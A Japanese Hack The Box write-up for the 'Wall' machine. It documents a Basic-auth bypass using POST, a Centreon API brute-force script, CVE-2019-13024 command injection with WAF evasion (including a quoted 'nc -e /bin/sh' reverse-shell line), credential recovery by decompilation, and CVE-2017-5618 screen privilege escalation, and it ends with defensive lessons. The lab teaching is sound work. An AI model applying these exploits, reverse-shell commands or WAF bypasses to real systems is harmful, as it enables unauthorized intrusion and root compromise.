Hack The BoxのWriteup（Wall）[Medium]

PHASE 1

偵察 (Reconnaissance)
1. ポートスキャン & ディレクトリ列挙
.htaccess Limit GET のみ設定ミスによるBasic認証バイパス
1. GETでは認証を要求、POSTでは通過してしまう
2. Centreon v19.04 の発見
Centreon REST APIブルートフォース & CVE-2019-13024 RCE
/opt/.shelby/backup 解析 & user.txt
権限昇格の下調べ — SUID screen 4.5.0
1. SUIDバイナリの列挙
2. CVE-2017-5618 の原理 (screenroot.sh)
screenroot.sh 実行 → root.txt
1. エクスプロイトスクリプトの転送 & 実行
2. root.txt 取得
攻略サマリー & 教訓

偵察 (Reconnaissance)

ポートスキャン & ディレクトリ列挙

BASH

nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.9
nmap -sV -sC -p 22,80 10.129.2.9
gobuster dir -u http://10.129.2.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q

RESULT

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache/2.4.29 (Ubuntu)

/monitoring  (Status: 401)  ← Basic認証
/aa.php      (Status: 200)
/panel.php   (Status: 200)

ℹ️

/monitoring はBasic認証(401)がかかっているが、それ以外のパスからは目立った手掛かりが得られない。まずこのBasic認証の突破を試みる。

PHASE 2

.htaccess Limit GET のみ設定ミスによるBasic認証バイパス

GETでは認証を要求、POSTでは通過してしまう

BASH

curl -s http://10.129.2.9/monitoring/
# → 401 Unauthorized (Basic認証プロンプト)

curl -s -X POST http://10.129.2.9/monitoring/

RESULT

<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

🚨

根本原因: .htaccess の認証制限が <Limit GET> のみに適用されており(本来は <Limit GET POST PUT> とすべき設定ミス)、POSTメソッドでリクエストすると認証チェックを完全にスキップしてしまう。レスポンスから隠れていた /centreon というパスが判明する。

Centreon v19.04 の発見

BASH

curl -s http://10.129.2.9/centreon/

RESULT

<title>Centreon</title>
（ログインフォームが表示される。バージョンヘッダー等からv19.04と判明）

ℹ️

Centreon はネットワーク監視ソフトウェア(Nagios/Centengineベース)。ログインフォーム自体はCSRFトークンが必須で単純なブルートフォースが効かない。

PHASE 3

Centreon REST APIブルートフォース & CVE-2019-13024 RCE

REST API経由の高速ブルートフォース(CSRF不要)

PYTHON

import requests
for pw in wordlist:
    r = requests.post(
        "http://10.129.2.9/centreon/api/index.php?action=authenticate",
        data={"username": "admin", "password": pw}, timeout=8,
    )
    if "authToken" in r.text:
        print("FOUND:", pw)
        break

RESULT

FOUND: password1

✅

ログインフォームと違い、REST API (/centreon/api/index.php? action=authenticate) はCSRFトークンを要求しないため、大量のパスワード候補を高速に試せる。admin:password1 を数秒〜数十秒で発見できた。

CVE-2019-13024 (認証済みRCE) — ポーラー設定 nagios_bin フィールド注入

NOTE

Centreonの「ポーラー設定」編集画面(main.get.php?p=60901)には、監視エンジンの
実行ファイルパスを指定する nagios_bin というフィールドがある。この値は
サニタイズ不足で、ポーラー設定を「デバッグ生成」する機能
(include/configuration/configGenerate/xml/generateFiles.php)を呼び出すと、
nagios_bin の値がシェルコマンドとしてそのまま実行され、実行結果が
id='debug_1' 要素のデバッグ出力にそのまま含まれて返ってくる
(webshellのように動作する)。

手順:
  1. index.php にログイン (CSRFトークンは inputs[3] から取得)
  2. main.get.php?p=60901 (ポーラー設定編集) を開きトークン取得 (inputs[24])
  3. nagios_bin = "<コマンド>||" として設定を保存
  4. generateFiles.php?poller=1&debug=true&generate=true を呼ぶと
     デバッグ出力にコマンド結果が含まれる

トラブルシューティング: ModSecurity WAFの回避

BASH

# 素朴なコマンド (nc -e /bin/sh 10.10.14.x 4444 #) を送ると403で弾かれる

🚨

根本原因: Apache上でModSecurity WAFが稼働しており、 REQUEST_BODY 内の以下のパターンをブロックする: nc/ncat/passwd/hostname (単語境界一致)、#(%23相当)、 +(urlencode後の半角スペース)。

BASH

# 対策: 空白を ${IFS} に、コマンド終端を '#' でなく '||' に置き換える
nagios_bin = "id${IFS}>${IFS}/tmp/out||"

✅

${IFS}(内部フィールド区切り文字、シェル上では空白と等価)でスペース検出を回避し、コマンド終端は#コメントの代わりに 論理OR ||を使う(前段のコマンドが成功すれば後続は実行されずスキップされる)ことでWAFを回避しつつ意図通りに動作させる。

RESULT

uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)

PHASE 4

/opt/.shelby/backup 解析 & user.txt

難読化されたバックアップスクリプトの発見

BASH

# RCE経由で探索し、/opt/.shelby/backup (拡張子無し) を発見
# file コマンド等で Python 2.7 バイトコンパイル済みファイルと判明
base64${IFS}/opt/.shelby/backup

ℹ️

/opt/.shelby/backup は paramiko を使ってSFTPアップロードするPython 2.7のコンパイル済み(.pyc相当の)バイトコード。 SSHパスワードがソース中に平文で書かれるのを避けるため、 password += chr(ord('X')) のように1文字ずつ難読化 して埋め込まれている。

トラブルシューティング: uncompyle6 のインストールがKaliで拒否される

BASH

pip3 install uncompyle6

RESULT

error: externally-managed-environment
× This environment is externally managed
╰─> ... create a virtual environment using python3 -m venv ...

⚠️

近年のKali/Debianは PEP 668 により pip install をシステム全体には許可しない。pip3 install --break-system-packages uncompyle6 か、 python3 -m venv で仮想環境を作ってからインストールする必要がある。

BASH

python3 -m venv /tmp/uncompyle-venv
/tmp/uncompyle-venv/bin/pip install uncompyle6
/tmp/uncompyle-venv/bin/uncompyle6 backup.pyc | grep "chr(ord("

RESULT

password += chr(ord('S'))
password += chr(ord('h'))
password += chr(ord('e'))
... (以下続く) ...
→ ShelbyPassw@rdIsStrong!

✅

デコンパイル結果から chr(ord('X')) のパターンを正規表現で抽出・連結するとSSHパスワードが復元できる。

SSHログイン & user.txt取得

BASH

sshpass -p 'ShelbyPassw@rdIsStrong!' ssh shelby@10.129.2.9 cat ~/user.txt

RESULT

fc2165156a74b910a75c3ba3e460f90d

user.txt — shelby

fc2165156a74b910a75c3ba3e460f90d

PHASE 5

権限昇格の下調べ — SUID screen 4.5.0

SUIDバイナリの列挙

BASH

shelby@wall:~$ find / -perm -4000 -type f 2>/dev/null

RESULT

/usr/bin/sudo
/usr/bin/passwd
...
/usr/local/bin/screen-4.5.0  ← 誰でも実行可能なSUID root

🚨

screen のバージョン4.5.0にはSUID rootで実行可能な既知の脆弱性 CVE-2017-5618(権限降格処理の不備)がある。

CVE-2017-5618 の原理 (screenroot.sh)

NOTE

screenroot.sh (XiphosResearch/exploits, infodox作) の動作:

1. /tmp/libhax.c を生成: コンストラクタ関数で
   /tmp/rootshell を root:root・SUID(4755)化し、
   /etc/ld.so.preload を削除する共有ライブラリ
2. gcc でコンパイルし /tmp/libhax.so を作成
3. /tmp/rootshell.c を生成: setuid(0)/setgid(0)して /bin/sh を execする
   単純なroot取得用シェル。gccでコンパイルし /tmp/rootshell を作成
4. /etc に移動し umask 000
5. SUID screen自身のログ機能を悪用:
   screen -D -m -L ld.so.preload echo -ne "\n/tmp/libhax.so"
   → screenはSUID rootで動くため、カレントディレクトリ(/etc)に
     ld.so.preload という名前で /tmp/libhax.so へのパスを書き込んだログ
     ファイルを作成できてしまう(本来 root しか書けない /etc/ld.so.preload
     を、screenのログ機能経由で間接的に上書きする)
6. screen -ls を実行 (screen自体もSUIDバイナリなので起動時に動的リンカが
   /etc/ld.so.preload を読み込み、指定された libhax.so を root権限で
   ロード → コンストラクタが走り /tmp/rootshell がSUID root化される)
7. /tmp/rootshell を実行すると root シェルが得られる

ℹ️

/etc/ld.so.preload は「すべての動的リンク実行ファイルに強制的にプリロードする共有ライブラリ」を指定するファイル。本来root専用だが、 SUID screenのログ書き込み機能を悪用して間接的に内容を書き込める 点と、screen自身もSUIDバイナリであるため次回起動時に自分自身が毒入りライブラリをroot権限でロードしてしまうという自己言及的な連鎖がこのエクスプロイトの核心。

PHASE 6

screenroot.sh 実行 → root.txt

エクスプロイトスクリプトの転送 & 実行

BASH

# Kali側で公知PoCを取得してから転送 (ターゲットのoutbound制限を考慮)
curl -sL https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh \
  -o screenroot.sh

B64=$(base64 -w0 screenroot.sh)
sshpass -p 'ShelbyPassw@rdIsStrong!' ssh shelby@10.129.2.9 \
  "echo $B64 | base64 -d > /dev/shm/.a.sh && chmod +x /dev/shm/.a.sh"
sshpass -p 'ShelbyPassw@rdIsStrong!' ssh shelby@10.129.2.9 "bash /dev/shm/.a.sh"

RESULT

~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
No Sockets found in /run/screen/S-shelby.
[+] done!

✅

権限昇格成功。 /tmp/rootshell がSUID root化された ([+] done! は libhax.so のコンストラクタが root権限で実行された証拠)。

root.txt 取得

BASH

sshpass -p 'ShelbyPassw@rdIsStrong!' ssh shelby@10.129.2.9 \
  "echo 'cat /root/root.txt' | /tmp/rootshell"

RESULT

9195126de59c5d40367a4905220b7671

root.txt — root

9195126de59c5d40367a4905220b7671

ℹ️

/tmp/rootshell はexecvp("/bin/sh", NULL, NULL)で起動する対話シェルのため、標準入力からコマンドを1行流し込むことで非対話的にフラグを取得できる。

SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — shelby

fc2165156a74b910a75c3ba3e460f90d

root.txt — root

9195126de59c5d40367a4905220b7671

使用した脆弱性

脆弱性	対象	影響	深刻度	利用方法
.htaccess Limit GETのみ設定ミス	/monitoring/	Basic認証バイパス	High	POSTメソッドでリクエストすると認証チェックを回避でき、隠しパス /centreon が判明
Centreon REST APIの弱いパスワード	/centreon/api/index.php	管理者アカウント奪取	Medium	CSRF不要なREST APIで高速ブルートフォース、admin:password1を発見
CVE-2019-13024	Centreon v19.04 (ポーラー設定 nagios_bin)	認証済みRCE (www-data)	Critical	ポーラー設定生成機能のデバッグ出力を悪用したコマンドインジェクション、ModSecurity WAFを${IFS}/\|\|で回避
難読化のみの資格情報保護	/opt/.shelby/backup (Python2バイトコード)	SSH資格情報漏洩	Medium	chr(ord())による1文字ずつの難読化はデコンパイルで容易に復元可能
CVE-2017-5618	GNU screen 4.5.0 (SUID root)	権限昇格 (root)	Critical	screenのログ機能で/etc/ld.so.preloadを間接的に書き込み、次回SUID screen起動時に自身が悪意あるライブラリをroot権限でロード

攻撃チェーン全体の流れ

#	フェーズ	技術	取得情報
1	偵察	nmap + gobuster	22/80開放、/monitoring(401)発見
2	認証バイパス	.htaccess Limit-GET設定ミス(POST)	隠しパス /centreon 発見
3	資格情報奪取+RCE	Centreon REST APIブルートフォース + CVE-2019-13024	admin:password1、www-data RCE確立
4	資格情報復元	/opt/.shelby/backup デコンパイル	user.txt 取得(shelby SSHアクセス)
5	権限調査	SUIDバイナリ列挙	SUID screen 4.5.0 (CVE-2017-5618)を確認
6	権限昇格	screenroot.sh (ld.so.preload)	root.txt 取得

学んだ教訓 & 防御策

問題点	防御策
.htaccessのLimitディレクティブがGETメソッドのみに適用されている	`<LimitExcept GET>`や、全メソッドを含む`<Limit GET POST PUT DELETE>`を使い、意図せず制限が漏れるメソッドが無いか確認する。
REST APIエンドポイントがWebフォームと異なりCSRF保護・レート制限が無い	API・フォーム双方に一貫したレート制限・アカウントロックアウトを実装する。既知の脆弱なCentreonバージョンは速やかにパッチ適用する。
古いバージョンのCentreon(v19.04)を使用し既知の認証済みRCEが存在	監視ソフトウェアも定期的にアップデートし、公開ネットワークからの管理画面アクセスを制限する。
秘匿すべき資格情報を単純な文字コード演算のみで難読化している	難読化は保護にならない。資格情報はVaultやシークレットマネージャーで管理し、平時ソースコードに埋め込まない。
古いバージョンのGNU screen(4.5.0)にSUIDビットが付与されている	不要なSUIDビットを削除する。既知のCVEを持つバージョンは速やかにアップデートし、SUIDバイナリの棚卸しを定期的に行う。